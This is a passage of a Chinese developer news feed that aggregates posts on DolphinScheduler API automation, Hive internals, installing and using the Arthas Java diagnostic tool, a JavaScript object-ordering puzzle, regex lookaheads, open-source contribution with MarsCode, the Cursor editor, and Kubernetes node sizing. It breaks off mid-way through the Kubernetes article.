            # 请求成功,处理响应数据
            items = response.content.decode()
            total = json.loads(items)["data"]["total"]
            item = json.loads(items)["data"]["totalList"]
            # 将当前页的数据添加到结果列表中
            for i in item:
                all_items.append(i)

            # 如果当前页没有数据,退出循环
            if pageNo * pageSize > total:
                break
            if not items:
                break
            # 增加页码
            pageNo += 1
        else:
            # 请求失败,打印错误信息
            print('请求失败:', response.status_code, response.text)
            break

    return all_items

all_items 是所有工作流的具体内容,需要提取一下

 all_jobs = get_jobs_list()
        job_codes = [job['code'] for job in all_jobs]

这样就是所有的工作流code。

  • 获取调度ID 下面是调度ID的接口,因为不想分页,直接一页1000个。
schedules_url = 'http://36.133.140.132:12345/dolphinscheduler/projects/{project_id}/schedules?pageSize=1000&pageNo=1&processDefinitionCode='

使用这个接口就能拿到所有的调度ID

def schedule_id(job_code):
    url = schedules_url+str(job_code)
    response = requests.get(url, headers=headers)
    if response.status_code == 200:
        data = response.content.decode()
        js = json.loads(data)
        if len(js['data']['totalList'])>0 and js['data']['totalList'][0]['releaseState']=='OFFLINE':
            return js['data']['totalList'][0]['id']
    else:return ''

这里过滤了已经上线的调度ID 。

  • 上线 万事俱备 终于可以上线了
online_url = 'http://36.133.140.132:12345/dolphinscheduler/projects/{project_id}/schedules/{scheduler_id}/online'

具体实现:

def online_job(scheduler_id):
    url = online_url.format(scheduler_id=scheduler_id)
    response = requests.post(url, headers=headers)
    if response.status_code == 200:
        print('success')
    else:
        print('online job failed')

到此 就可以实现导入-批量全自动了。

打完收工,祝你不加班。

原文链接:blog.csdn.net/weixin_4539…

本文由 白鲸开源科技 提供发布支持!

by 白鲸开源 at January 22, 2025 06:22 AM

Hive引擎底层初探

作者:京东物流 沈世莹

1、什么是Hive

Hive是一个基于Hadoop的数据仓库工具,用于处理和分析大规模结构化数据。Hive提供了类似SQL的查询语言(HiveQL),使得熟悉SQL的用户能够查询数据。Hive将SQL查询转换为MapReduce任务,以在Hadoop集群上执行数据处理和分析。

2、Hive起源

回答这个问题之前,先介绍下Hadoop。Hadoop是专门为离线和大数据分析而设计的分布式基础架构。Hadoop的计算模型是MapReduce,将计算任务分割成多个处理单元,并将其分散到一群家用或服务级别的硬件机器上,从而降低成本。但是直接用MapReduce处理大数据会面临难题:

•MapReduce开发需要具备较高的底层细节知识,开发难度大,学习成本高

•使用MapReduce框架开发,项目周期长,成本高

在此背景下Hive应运而生。Hive是基于Hadoop的一个数据仓库工具,本质是将SQL转换成MapReduce任务进行运算。将结构化的数据文件映射为一张数据库表,并提供简单的sql查询功能,极大降低用户使用难度。

3、Hive架构

3.1 基本组成部分

Hive的架构是一个复杂的系统,通过用户接口、元数据存储、驱动器和Hadoop集群等多个组件的协同工作,实现了对大规模数据的高效存储和查询处理。其架构图如下图所示。





用户接口模块

这是用户与Hive进行交互的主要方式。Hive提供了多种用户接口,包括CLI(命令行接口)、Client(客户端)、WUI(Web用户界面)以及JDBC/ODBC(允许Java或其他编程语言通过JDBC或ODBC访问Hive)。通过这些接口,用户可以执行HQL(Hive查询语言)语句,进行数据的查询、分析和管理。

BDP平台将页面的SQL转换成SHELL脚本,调用CLI来启动Hive引擎。









元数据模块

Hive是将数据文件映射成一张表,元数据模块主要负责描述和管理数据存储、表结构、分区信息等,通常存储在关系型数据库中,如MySQL或Derby。







驱动器(Driver)

驱动器是Hive的核心组件,主要作用是将HiveQL语句转换成一系列的MapReduce(MR)作业。驱动器中包含了解析器、编译器、优化器和执行器等多个子组件。解析器将用户的HQL查询语句转换为抽象语法树(AST),编译器将AST编译成逻辑执行计划,优化器对逻辑计划进行优化,最后执行器将优化后的计划转换成可以运行的物理计划并执行。







Hadoop集群

Hive是建立在Hadoop上的数据仓库基础构架,因此Hadoop集群是Hive架构的重要组成部分。Hive使用Hadoop的分布式文件系统(HDFS)进行数据存储,利用Hadoop的MapReduce框架进行大规模数据的计算和处理。



3.2 Hadoop

Hadoop是开源的分布式存储和计算系统,旨在处理大规模数据集。它最初由Apache软件基金会开发,现已成为处理大数据的行业标准之一。Hadoop主要包括以下核心组件:HDFS、MapReduce。

3.2.1 分布式文件系统(HDFS)

HDFS是Hadoop的分布式文件系统,用于存储大规模数据集。它将数据分布存储在集群中的多台服务器上,通过数据冗余存储来提供容错性和高可靠性。

◦高可靠性

HDFS它将文件数据划分为多个数据块,并在集群中的多个节点上进行复制存储。每个数据块默认会有多个(通常是三个)副本存储在不同的节点上。这种冗余存储机制确保了即使某个节点或副本发生故障,数据仍然可以从其他副本中恢复,从而保证了数据的高可靠性。

◦HDFS架构

HDFS采用了主从架构,包括一个NameNode和多个DataNode。NameNode负责管理文件系统的命名空间和元数据信息,而DataNode负责存储实际的数据块。

◦读取文件的过程:

1.客户端向NameNode请求获取文件,并对请求进行检查。

2.如果请求检查通过,NameNode将查询元数据,向客户端返回文件所在的各个Block的DN地址。

3.客户端拿到DN列表之后,按照Block,根据负载规则请求一台服务器,建立通道读取数据。

4.DN接收到请求后,向客户端传输Block内容。

5.获取到的内容,存入本地缓存,然后写入到输出目标中。





3.2.2 分布式计算框架(MapReduce)

MapReduce是Hadoop的分布式计算框架,用于在大规模数据集上执行并行计算任务。它将计算任务分解为多个独立的子任务,然后在集群中的多台计算节点上并行执行这些子任务。MapReduce包括Map阶段和Reduce阶段 ,2个阶段。

◦Map阶段将原始数据分解为更小的数据单元,这些单元可以被并行处理,且彼此之间没有太多依赖。

◦Reduce阶段则对Map阶段生成的中间结果进行汇总,以得到最终的处理结果。





4、Hive工作流程

Hive是一个建立在Hadoop之上的数据仓库系统,它提供了类似于SQL的查询语言(HiveQL),使用户可以在大规模数据集上执行查询和分析操作。下面是Hive的工作流程:

1.解析HiveSQL

◦当用户提交一个HiveSQL查询时,Hive的解析器首先会解析这个查询,将其转换成一个抽象语法树(AST)。

◦解析器会检查SQL语法的正确性,并将SQL语句的各个部分(如SELECT、FROM、WHERE等)转换为相应的内部表示。

2.语义分析

◦语义分析阶段会检查查询的语义正确性,确保所有引用的表、列和函数都存在且有效。

◦在这个阶段,Hive还会获取表的元数据,如列的数据类型、表的分区信息等,为后续的计划生成做准备。

3.生成逻辑执行计划

◦接下来,Hive会根据解析和语义分析的结果,生成一个逻辑执行计划。这个计划描述了查询的执行步骤,但不涉及具体的物理操作。

◦逻辑计划通常包括一系列的操作,如扫描表、过滤数据、聚合数据等。

4.逻辑计划优化

◦在生成逻辑计划后,Hive会对其进行优化,以提高查询的执行效率。

◦优化可能包括重写查询、消除冗余操作、选择更有效的连接策略等。

5.生成物理执行计划

◦优化后的逻辑计划会被转换为物理执行计划。物理计划描述了如何在Hadoop集群上实际执行查询。

◦在这个阶段,Hive会决定将哪些操作映射到MapReduce任务上,以及如何在集群中分配这些任务。

6.执行MapReduce任务

◦根据物理执行计划,Hive会启动MapReduce任务来执行查询。任务读取的数据来自HDFS。

◦Map阶段通常负责读取数据并进行一些基本的处理,如过滤和转换。

◦Reduce阶段则负责聚合数据并生成最终结果。

7.返回结果

◦当所有MapReduce任务完成后,Hive会收集并整理结果,然后将其返回给用户。



by 京东云开发者 at January 22, 2025 06:21 AM

juejin freebie

Arthas快速开始

本节目标

  • 知道Arthas能帮我们做什么
  • 知道如何安装Arthas
  • 做一个基础的使用

Arthas简介

Arthas是阿里巴巴开源的一款java诊断工具,可以帮助开发人员在不修改代码或重启服务器的情况下快速定位线上问题。当线上项目发生令你郁郁寡欢甚至束手无策的故障时,Arthas能帮你解决如下问题:

  • 通过性能看板发现占用cpu最高的线程。
  • 通过内存分析,可以发现内存泄漏问题。
  • 通过线程命令查看线程堆栈,从而找出死锁、线程阻塞等问题。
  • 可以在线反编译class,从而确认是不是我们真正要上线的程序。
  • 可以在线修改类,比如:加入打印信息等代码。
  • 监控方法的执行。可以观察方法入参和出参信息;可以找出耗时的方法。
  • 可以dump内存快照信息,分析GC日志,找出GC问题

Arthas支持JDK6+及其以上的JDK版本均可以使用,本节包括以后用于演示JDK版本是21。采用的Arthas的版本是目前最新的4.0.4版本。这里我试着形象的描述下Arthas,它很像是附着在程序外的一堆带着各式各样管子、针头的仪器,完全包裹住我们的项目程序,以获得程序的各种实时运行数据和状态。回忆下电影场景中满身插着各种针头、试管的被试验者--Arthas就是那个恐怖场景中的仪器。

中文文档地址:arthas.aliyun.com/doc/

Github地址:github.com/alibaba/art…

在线快速安装

安装Arthas

# 创建一个单独的目录用于安装Arthas
mkdir arthas
# 进入新创建的目录
cd arthas
# 下载arthas-boot.jar
curl -O https://arthas.aliyun.com/arthas-boot.jar
# 运行arthas-boot.jar
java -jar arthas-boot.jar

上面的方式是官方推荐的安装方式。但是如果服务器上没有任何java程序在运行的时候,仅仅会有几行提示:

image-20250120162217197

安装math-game

为了可以初步体验Arthas的功能,可以下载官方一个叫math-game的demo程序。math-game做的事情是:每隔一秒生成一个随机数,再执行质因数分解,并打印出分解结果。

curl -O https://arthas.aliyun.com/math-game.jar
java -jar math-game.jar

运行结果:

image-20250121083751267

这个程序会一直运行,不管它。新开一个终端来执行Arthas的命令。

image-20250121085344329

我们去Arthas下载目录下可以看看:

image-20250121090025005

离线全量安装

下载地址

github.com/alibaba/art…

image-20250121092053094

解压

# unzip命令解压
unzip arthas-bin.zip
# 如果安装了java环境,可以用jar解压
jar -xvf arthas-bin.zip

查看解压后目录

image-20250121095345753

其实这里和在线安装时在:当前用户/.arthas/lib/4.0.4/arthas安装的内容是相同的。

初步感受Arthas

仪表盘纵观全局

[arthas@16437]$ dashboard 

输入 da 然后按TAB键可以自动补全, 按Ctrl + c可以中断执行

image-20250121132020877

说明:

  • 第一部分打印出来的信息,是关于线程的。包括:线程名、线程组、优先级、cpu占比等信息。
  • 第二部分打印出来的信息,是关于内存的。包括:堆内存、eden、metaspace、非堆内存等信息。
  • 第三部分打印出来的信息,是关于运行时环境。包括:操作系统、java的版本、处理器等信息。

查看线程信息

[arthas@8760]$ thread 1

这里1是dashboard显示的ID对应的值。这里会打印线程 ID=1的栈信息

image-20250121150612663

反编译类

通过查看线程的信息知道main方法的执行,在demo.MathGame类中。

[arthas@8760]$ jad demo.MathGame 

image-20250121151309963

仅仅到这里就解锁了一个很常用的功能。看上线的代码,是不是最新的代码。

查看方法返回值

在上面反编译MathGame类时,能看到源码有如下的这个方法:

image-20250121154349608

[arthas@8760]$ watch demo.MathGame primeFactors returnObj 

能看到方法的返回值了:

image-20250121165152294

这个watch命令默认只能观察函数结束后这个时间点的值。后续会详细介绍。

退出Arthas

# 退出当前连接, 附着到目标程序上的Arthas还会继续运行,端口保持开放状态。
[arthas@17923]$ quit
[arthas@17923]$ exit

# 完全退出
[arthas@17923]$ stop

总结

  • Arthas是一个线上诊断和监控工具
  • 如果线上的机器可以访问互联网,那么最好用在线快速安装方式安装Arthas;如果不能连接互联网,那么用离线全量安装方式安装Arthas。
  • 在Arthas中可以用TAB键进行自动补全, 按Ctrl + c可以中断执行
  • dashboard可以看线程、内存和运行环境信息
  • thread可以看线程信息
  • jad可以在线反编译类
  • watch可以查看方法的返回值
  • quit、exit退出当前连接;而stop是完全推出。

by 老马9527 at January 22, 2025 06:15 AM

oschina news industry

网易有道开源“子曰-o1”推理模型,支持消费级显卡

网易有道宣布推出国内首个输出分步式讲解的推理模型“子曰-o1”,并正式开源。

根据介绍,子曰-o1为14B轻量级单模型,支持在消费级显卡上进行部署,采用思维链技术,能够提供细致解题过程,以强逻辑和推理能力,实现更高的解题准确性,并提供中文逻辑推理。

目前,子曰-o1已在网易有道旗下AI全科学习助手“有道小P”中落地应用,支持其实现“先提供解析思路、再提供答案”的答疑过程。

“在轻量化、输出分步式讲解、中文逻辑推理等多元优势的加持下,子曰-o1能够以更低的落地门槛撬动更高的应用价值,并能为相关开发者们提供更具实效的工具。”

by 来源: OSCHINA at January 22, 2025 05:58 AM

华为 2024 年手机出货量增长 50%

IDC 的数据显示,2024 年第四季度,中国智能手机市场出货量约 7,643 万台,同比增长 3.9%。

各价位段新品的集中上市以及部分省市开始的新机购买补贴政策推动整体市场延续了之前 4 个季度的增长趋势。

vivo、华为和小米等厂商的强势表现帮助 Android 市场增幅超过 7%;但是 iPhone16 系列销售难有起色,使得 iOS 市场继续同比下降。2024 年全年中国智能手机市场出货量约 2.86 亿台,同比增长 5.6%,时隔两年触底反弹。

其中华为出货量同比增长超过 50% 占 16.6% 排名第二,苹果则下降 5.4% 占 15.6% 排名第三,vivo 同比增长 10.3% 占 17.2% 排名第一

此外,苹果在 800 美元以上市场份额依然占据 60%。

by 来源: OSCHINA at January 22, 2025 05:48 AM

juejin career

刷到的一个对象知识点一个题

前些日子刷抖音看到了这么一道题,尝试做了一下也做错了,后面才了解,原来对象不同的属性是有一定的顺序的,且跟添加顺序还有这千丝万缕的关系

就是下面这道题

const obj = {
    a: 0,
};
obj["1"] = 0;
obj[++obj.a] = obj.a++;
const values = Object.values(obj);
obj[values[1]] = obj.a;
console.log(obj);

可以先做一下,看看结果是多少

下面将一步一步讲解,最后得出结果

声明一个对象不多说

const obj = {
    a: 0,
};

添加一个属性 key 为 1,value 为 0 的属性,需要注意的是属性都是字符串没有数字(Symbol不考虑,这里也没涉及)

ps:并且还有一个知识点,内容为数字类型的 key 罗列出来时,会排在其他类型之前,且按照升序排列,其他的按照添加顺序排列

obj["1"] = 0;

//此时的obj
{
    1: 0,
    a: 0
}

++a 和 a++ 的操作,学过c语言的都知道,他们都是对 a 自增1,不同的是 a++ 返回的是自增前的结果,++a返回的是自增后的结果

//由于 obj.a 为 0 翻译过来也就是
//这里需要注意的,代码从左往右执行,最后赋值表达式在最后,那时候才是右边结果赋值给左侧
// obj[++a] = a++  也就是,从左往右翻译表达式 obj[1] = 1
obj[++obj.a] = obj.a++;

//此时的obj
{
    1: 1,
    a: 2
}

Object.values 罗列 values 内容,并且按照前面说的按照数字类型升序,其他按照添加顺序排列

const values = Object.values(obj);
//参考上一步结果,下面则可以翻译为 obj[2] = 2
obj[values[1]] = obj.a;

//此时的obj
{
    1: 1,
    2: 2
    a: 2
}

因此最后一行的结果就是

console.log(obj);

//打印结果就是 obj 的对象,按照指定规则排列打印就是它了
//由于数字这里也只能表示字符串,js打印结果还专门标出来引号怕被误解
{ '1': 1, '2': 2, a: 2 }

by 剪刀石头布啊 at January 22, 2025 05:43 AM

正则表达式-前瞻运算符

正则表达式的运用可以说非常广泛,前面也有简单介绍过正则表达式的基础,这里介绍一下前瞻运算符的一个使用,也能让我们在正则表达式的使用中,更加得心应手

下面就简单是一个 number(bigint).toLocaleString() 方法的添加 , 分隔符的操作吧

const num = 1000000
console.log(num.toLocaleString()) //  1,000,000

const num1 = 100000000000000n
console.log(num1.toLocaleString()) //  100,000,000,000,000

我们使用正则表达式前瞻运算符实现这个效果吧(要是使用平时的循环更加难受了),直接转化字符串(用来模拟不适用bigint的长数字字符场景)

错误示范

const s = '100000000'
//假设我们直接使用默认正则匹配,会发现,都变成了逗号
const res = s.replace(/\d{3}/g ',') // 打印,,,

引入前瞻运算符((?=规则)),解决替换匹配中的插入操作

加入前瞻运算符,直接从尾部替换 \d{3}$,发现只替换一组

const s = '100000000'
直接加上前瞻运算符
const localStr = s.replace(/(?=\d{3}$)/g, ","); //打印 100000,000

加上 + 表示多组,发现边界也出现了出现了,

const s = '100000000'
//因为会有多组,因此要更新一下 \d{3} 变成 (\d{3})+
const localStr = s.replace(/(?=(\d{3})+$)/g, ","); //,100,000,000

使用不匹配边界运算符 \B( \b是匹配边界,需要区分好)

const s = '100000000'
//因为会有多组,因此要更新一下 \d{3} 变成 (\d{3})+
const localStr = s.replace(/\B(?=(\d{3})+$)/g, ","); //100,000,000

这样就完成了类似的效果了

by 剪刀石头布啊 at January 22, 2025 05:42 AM

juejin freebie

豆包MarsCode + 开源 = ?AI 助力开源社区新人成长

image.png

来源|豆包MarsCode

“开源”这个词,对开发者来说,可能是入门时的第一步,也可能是追求极致技术的终点。无数优秀的开源项目不仅推动了技术的进步,也成为开发者学习和成长的宝藏,但同时也因为其规模庞大、代码复杂,常让人感到望而生畏,尤其是对于刚接触开源的开发者。为了帮助新人快速融入社区, 提升新人的学习体验,一般开源社区都会提供正式、非正式的导师指导计划。但因为社区导师资源有限,当新人遇到问题的时候,我们也鼓励大家采用搜索引擎,以及阅读代码的方式定位和解决问答,也就是自助解决优先的方式

找到入门的关键,理清项目的架构,快速理解核心逻辑 —— 这些技能往往需要丰富的经验与大量的时间积累。然而,随着 AI 和智能开发工具的兴起,学习开源项目正在变得更简单、更高效。作为一款专为开发者设计的智能工具,豆包MarsCode 通过代码解释# workspace 等能力,帮助开发者快速掌握开源项目的核心思想,直击学习痛点。你将不再需要花费数小时梳理文档、不再迷失在复杂的代码海洋中——豆包MarsCode 让你在学习开源项目时事半功倍,从入门到进阶,一步到位。

01 一起学习:豆包MarsCode + 开源项目 VisActor,出发!

首先我们通过链接下载豆包Marscode 并了解如何使用。

🔗 zjsms.com/iyNHsH82/

图片

有了豆包MarsCode 编程助手的帮助,我们可以快速高效的了解一个项目的核心逻辑与模块构成,轻松几步就能完成开源项目的代码贡献。如果你还没有想法或者不知道该从哪里下手也没有关系,可以跟随这篇文章的脚步来了解如果从零开始为开源项目添砖加瓦,成为一名真正的“开源项目贡献者”吧!Let's GO!

图片

02 First Things First

在贡献代码之前,推荐阅读贡献者指南:

🔗 sourl.cn/r72dpt

首先让我们先挑选一个心仪的任务:VisActor 空间下的 VChart 项目:

🔗 github.com/VisActor/VC…

当中已经记录了许多的 issue,里面打着 good first issue 标签的 issue 就是适合开源新手踏上开源贡献之路第一步的任务啦!

图片

目前 VChart issue 中挂了许多的特性开发任务以及环境兼容任务。给 VChart 添加 Vue 环境的支持需要对 Vue 生态有一定的掌握,优化鸿蒙环境下的 VChart 使用本身也需要先足够了解鸿蒙本身的语法与环境能力,这些任务对于初心者而言可能有些难度。我们可以从教程补充之类的简单任务着手,逐步了解 VChart 项目本身的逻辑,一步步向更有挑战的工作进发。在这篇文章里我们就从“补充 Scales 相关教程”的任务入手吧。

图片

选定任务了,让我们开始敲代码!

图片

03 Set Sail

如果你对于 VChart 项目本身还并不太熟悉的话,可以加入 VisActor 微信群组或者 VisActor 的飞书群组提出任何感兴趣的问题。群里的热心同学们会积极帮助所有外部开发者解惑答疑,不用觉得害羞,尽管去提问吧~

图片

如果你想要依靠自己的力量来理解 VChart 的核心逻辑,但是又觉得一口气阅读 VChart 这么多的代码有些抓不到思路,不知道如何掌握 VChart 项目的脉络的话,那不妨来试试豆包MarsCode 编程助手的大模型对话能力。无论是使用 VScode 还是 Jet Brains 系列的编辑器,豆包MarsCode 都提供了相应的编辑器插件,能够帮助你快速接入大模型能力,提升编码与开发效率。比如让我们先问问 packages/vchart 这个核心包里头究竟包含了哪些重要模块呢:

图片

又或者你可以向 MarsCode 询问 VChart 中某一个类的核心函数是用来做什么的:

图片

有了豆包MarsCode 的辅助,相信以你聪明的小脑瓜肯定能很快了解 VChart 的代码逻辑辣。如果还有什么不清楚的,群组里头的热心同学们也随时为你效劳~

04 Show Me The Code

观察 VChart 的项目结构,可以看到的所有的文档内容都存放在 根目录/docs/assets 路径里头。

需要注意啦,VChart 中所有的教程文档都是按照原生的 MarkDown 的格式编写的,所有的配置项文档都是按照嵌套的 MarkDown 格式编写的。两者的差异在于前者可以在任何的 MarkDown 编辑器/阅读器中查看,后者则需要通过编译以及执行 VChart 本地命令才能查看。

图片

万里长征第一步:找到落笔的地方,写下第一行内容。顺着 Scale 代码类型定义的脉络一路找到最终 ScaleType 的类型定义。可以看到 ScaleType 里除了现在教程里头包含的 linear 以及 ordinal 两种类型以外,还包含了 band、point 以及 threshold 类型。

图片

那么这些 Scale 类型又是什么含义呢?让我们来问问万能的豆包MarsCode 编程助手吧。

图片

好,我们已经彻底理解了 Band Scale 的含义,是时候让我们开始编写具体的教程内容了!

Scale 的配置文档内容存放在 visual-scale-spec.md 文件中,先找到这个文件,然就可以开始写下第一行代码内容辣。

图片

当然了,在你添加相应文档内容的时候,豆包MarsCode 编程助手仍然在勤勤恳恳的工作中!它会在在你专心致志敲击键盘的时候自动补全后续的文字,帮助你省去一大堆的重复劳动时间。话不多说,快端上来吧:

图片

敲黑板敲黑板

需要注意每个文档都是包含中英文的内容,写完中文文档之后不要忘记补充对应的英文文档哦~

图片

所有文档编写就绪之后,也别忘了在 VChart 项目中运行 rush update 以及 rush docs 命令来执行文档的渲染,检查一下自己的文档内容是否正确呀。

05 PR! PR!

代码就绪之后,最后一步就该是推送代码内容,提交 Pull Request,等待自己的代码正式合入啦。

向 VChart 仓库的 Push 分支提交 Commit 内容需要等待单元测试的执行完成。不过对于我们的教程编写而言并没有什么影响,只要稍作等待,就可以在 VChart 项目中提起 Pull Request 了:

图片

提交 PR 之后 VChart 的相关同学会查看你所提交的 PR 内容,并且与你就 PR 内容做一些讨论。如果大家拜读了你所编写的精妙绝伦的代码之后觉得毫无问题,那就是万事俱备,可以合入代码啦。

如果 PR 交流的过程发现了一些问题也不要灰心,可以就讨论的结果做一些相应的修改。负责 Review PR 的同学也会持续跟进 PR 的调整,确保内容最终能够顺利合入仓库。

06 还不过瘾?

VisActor 数据可视化创意编程大赛暨文档达人挑战赛 等你挑战!

VisActor 联合豆包MarsCode、稀土掘金、中国气象网、上海交通大学发起本挑战赛

🔗 报名链接 juejin.cn/post/745177…

比赛分为三个赛道,并由字节跳动专家作为导师,还有丰富的礼品欢迎大家参与~

可视化创意编程

▪️ 基于VChart的象形图表:要求参赛者使用VChart象形图组件进行扩展,内容和形式自由发挥。

▪️ 基于VStory开发动态信息图:使用VStory进行信息图demo开发,形式自由发挥,自行编排动画和叙事逻辑。

▪️ 散点关系图:详情为时序散点关系图。

▪️ 表格叙事:使用VStory中的VTable接口,完成一个基于表格叙事的作品。

▪️ Joytoy产品介绍作品:使用VStory,通过数据可视化形式对Joytoy的机甲产品进行介绍。

文档达人挑战赛

▪️ VTable源码解读:征集VTable源码的解读文档。

▪️ VChart源码解读:征集VChart源码的解读文档。

豆包MarsCode 专项奖

▪️ 豆包MarsCode 最佳使用奖:评选标准为参赛者记录参与VisActor开发过程中使用豆包MarsCode 的过程和精彩瞬间,形成文档,对外发布。

▪️ 豆包MarsCode 幸运奖:比赛期间,活动群每周进行一次幸运抽奖,要求上传豆包MarsCode 使用截图。

相关链接

▪️ Marscode 官网:sourl.cn/JixwNw

▪️ VisActor 官网:www.visactor.io/

▪️ VisActor GitHub:

by 字节跳动开源 at January 22, 2025 05:36 AM

juejin article

《Cursor-AI编程》基础篇-简介

Cursor版本 本小册编写时使用的Cursor0.44.11版本,如果你使用的是其他版本,可能会出现一些差异,请以实际为准

1. 什么是Cursor

Cursor是一款当下非常受欢迎的AI编程编辑器。它基于广受开发者喜爱的开源编辑器VSCode进行二次开发,并在其基础上增加了强大的AI功能,帮助开发者更高效地编写代码,提升编程体验。

如果你之前是VSCode的用户,那么切换到Cursor几乎不需要任何学习成本

因为Cursor的大部分功能和VSCode保持一致,你可以无缝迁移到Cursor,继续享受熟悉的操作体验

因为,它支持从Vscode配置迁移到Cursor中,包括插件、快捷键、主题、设置等

20250115123017

2. 为什么要使用Cursor

使用Cursor的理由有很多,无论你是初学编程的小白,有一定开发经验的开发者也好,我都建议你来试一试cursor这个编辑器,因为实在是它太强大了!下面我来指几点选择他的主要原因

1. AI 辅助编程,提升效率

  • Cursor内置了强大的AI功能,可以帮助你快速生成代码、修复错误、优化逻辑,甚至为你提供代码建议。
  • 无论是编写新功能、调试代码,还是学习新技术,AI都能为你提供实时支持,大幅减少重复性工作。

2. 基于 VSCode,无缝迁移

  • 如果你已经是VSCode的用户,切换到Cursor几乎不需要学习成本,因为它的界面、快捷键、插件系统等都与VSCode高度一致。
  • 更重要的是,Cursor支持直接迁移VSCode的配置(包括插件、主题、设置等),让你无需从头开始配置。

3. 智能化代码补全

  • CursorAI功能不仅限于代码生成,还能根据上下文提供更精准的代码补全建议,帮助你更快地完成编码任务。

4. 代码理解和优化

  • 如果你对某段代码的逻辑不太理解,或者想优化现有代码,CursorAI可以为你提供详细的解释或优化建议,帮助你更好地掌握代码。

5. 跨平台支持

  • VSCode一样,Cursor支持WindowsmacOSLinux系统,无论你使用什么设备,都能享受一致的开发体验。

6. 更友好的开发体验

  • Cursor的设计注重开发者的使用体验,界面简洁、功能强大,同时通过 AI 功能让编程变得更加轻松和智能。

7. 适合多种编程场景

  • 无论你是前端、后端、数据科学还是移动开发,Cursor都能为你提供针对性的AI支持,满足不同领域的开发需求。

by _island at January 22, 2025 04:40 AM

juejin freebie

一文看懂K8s集群的按需缩放、灵活降本

降本提效是创新开发的永恒话题。过去多年来,开发者纷纷拥抱容器技术以提高部署效率,降低运维负担。随着像Docker这类容器引擎使用量不断增长,作为Docker管理系统的Kubernetes(简称K8s)顺势而出,帮助开发者构建并简化复杂的容器编排工作。

image.png


延伸阅读,点击链接了解Akamai Cloud Computing


本文Akamai将带大家一起看看,如何准确确定Kubernetes集群的规模,并根据需求更灵活、动态地对集群规模进行缩放,从而在满足负载需求的同时最大限度降低成本。

一、高效确定Kubernetes集群的最优规模

每当我们需要创建Kubernetes集群时,肯定首先都会问自己:该用什么类型的工作节点?具体需要多少个?

例如,当我们正在使用Linode Kubernetes引擎(LKE)等托管式Kubernetes服务,到底该使用8个2GB的Linode实例,还是2个8GB的Linode实例来实现所需计算能力?

在回答这个问题之前需要注意:无论自建K8s集群或任何云平台上托管的K8s,并非所有工作节点中的资源都可以用于运行工作负载。

1.Kubernetes节点预留

在Kubernetes节点中,CPU和内存会被划分给:

  1. 操作系统
  2. Kubelet、CNI、CRI、CSI(和系统守护程序)
  3. Pod
  4. 驱逐阈值

假设有个只有一个Linode 2GB计算实例的集群(包含1个vCPU和2GB内存),以下资源会被保留给kubelet和操作系统:

  • 500MB内存。
  • 60m的CPU。

此外,还有100MB内存为驱逐阈值保留。

总的来说,此时我们有30%的内存和6%的CPU是不能被工作负载使用的。

每个云提供商都有各自定义限制的方式,但在CPU方面他们似乎不约而同进行了以下限制:

  • 第一个核心的6%;
  • 下一个核心的1%(最多2个核心);
  • 接下来的2个核心的0.5%(最多4个);以及
  • 四个以上核心的0.25%。

至于内存方面的限制,不同提供商之间有很大差异。但一般来说,内存的预留往往遵循以下限制:

  • 前4GB内存的25%;
  • 接下来4GB内存的20%(最多8GB);
  • 接下来8GB内存的10%(最多16GB);
  • 下一个112GB内存的6%(最多128GB);以及
  • 超过128GB的任何内存的2%。

既然知道了工作节点内资源的分配方式,那么我们该选择哪种实例?答案因具体情况而异,我们需要根据工作负载的实际情况来选择最佳工作节点。

2.剖析应用程序

Kubernetes中有两种方法来指定容器可以使用多少内存和CPU:

  1. 请求:通常与正常操作时的应用程序消耗量相匹配。
  2. 限制:设置允许的最大资源数量。

Kubernetes调度程序使用请求来确定在集群中分配Pod的位置。由于调度程序不知道消耗情况(Pod尚未启动),因此它需要一个提示。这些“提示”就是请求;我们可以为内存和CPU分别设置请求。

kubelet使用限制在内存使用超出允许范围时停止进程。如果使用的CPU时间超过允许的范围,kubelet也会限制该进程。但是,该如何选择适当的请求和限制值呢?

我们可以测量工作负载性能(例如平均值、95和99百分位数等)并将其用作请求和限制。为了简化该过程,可以通过两个便利的工具来加速分析:

  1. Vertical Pod Autoscaler
  2. Kubernetes Resource Recommender

VPA会收集内存和CPU利用率数据,并运行一个回归算法,为我们的部署建议请求和限制。这是一个官方的Kubernetes项目,也可以用于自动调整值:我们可以让控制器直接在YAML中更新请求和限制。

KRR的工作原理类似,但它利用了我们通过Prometheus导出的数据。作为第一步,工作负载应该被配置为将度量数据导出到Prometheus。一旦存储了所有度量数据,就可以使用KRR来分析数据并建议请求和限制。

在具备了(粗略的)资源需求概念后,终于可以继续选择一个实例类型了。

3.选择实例类型

假设估算自己的工作负载需要2GB的内存请求,并且估计至少需要约10个副本。我们可以排除大多数小于2GB的小型实例。此时也许可以直接使用某些大型实例,例如Linode 32GB。

接下来,可以将内存和CPU除以可部署在该实例上的最大Pod数量(例如在LKE中的110个),以获得内存和CPU的单元数量。

例如,Linode 32GB的CPU和内存单元为:

  • 内存单元为257MB(即(32GB – 3.66GB预留)/ 110)
  • CPU单元为71m(即(8000m – 90m预留)/ 110)

在最后一步中,我们可以使用这些单元来估算有多少工作负载可以适应节点。

假设想要部署一个Spring Boot,请求为6GB和1 vCPU,这相当于:

  • 适合6GB的最小单元是24个单元(24 * 257MB = 6.1GB)
  • 适合1 vCPU的最小单元是15个单元(15 * 71m = 1065m)

这些数字表明,内存耗尽之前受限会将CPU耗尽,并且最多可以在集群中部署(110/24)4个应用程序。

当我们在此实例上运行四个工作负载时,将使用:

  • 24个内存单元* 4 = 96个单元,有14个未使用(约12%)
  • 15个vCPU单元 * 4 = 60个单元,有50个未使用(约45%)

还不错,但能做得更好吗?让我们尝试使用Linode 64GB实例(64GB / 16 vCPU)。

假设要部署相同的应用程序,数字会发生一些变化:

  • 内存单元约为527MB(即(64GB – 6.06GB预留)/ 110)。
  • CPU单元约为145m(即(16000m – 110m预留)/ 110)。
  • 适合6GB的最小单元是12个单元(12 * 527MB = 6.3GB)。
  • 适合1 vCPU的最小单元是7个单元(7 * 145m = 1015m)。

可以在这个实例中放多少工作负载?由于将耗尽内存,并且每个工作负载需要12个单元,所以最大应用程序数是9(即110/12)。

计算效率/浪费比例将会发现:

  • 12个内存单元 * 9 = 108个单元,有2个未使用(约2%)
  • 7个vCPU单元 * 9 = 63个单元,有47个未使用(约42%)

虽然浪费的CPU数量几乎与前一个实例相同,但内存利用率得到了显着改善。

最后,我们还可以比较一下成本:

  • Linode 32GB实例最多可以容纳4个工作负载。在这样的总容量下,每个Pod的成本为每月48美元(即实例成本192美元除以4个工作负载)。
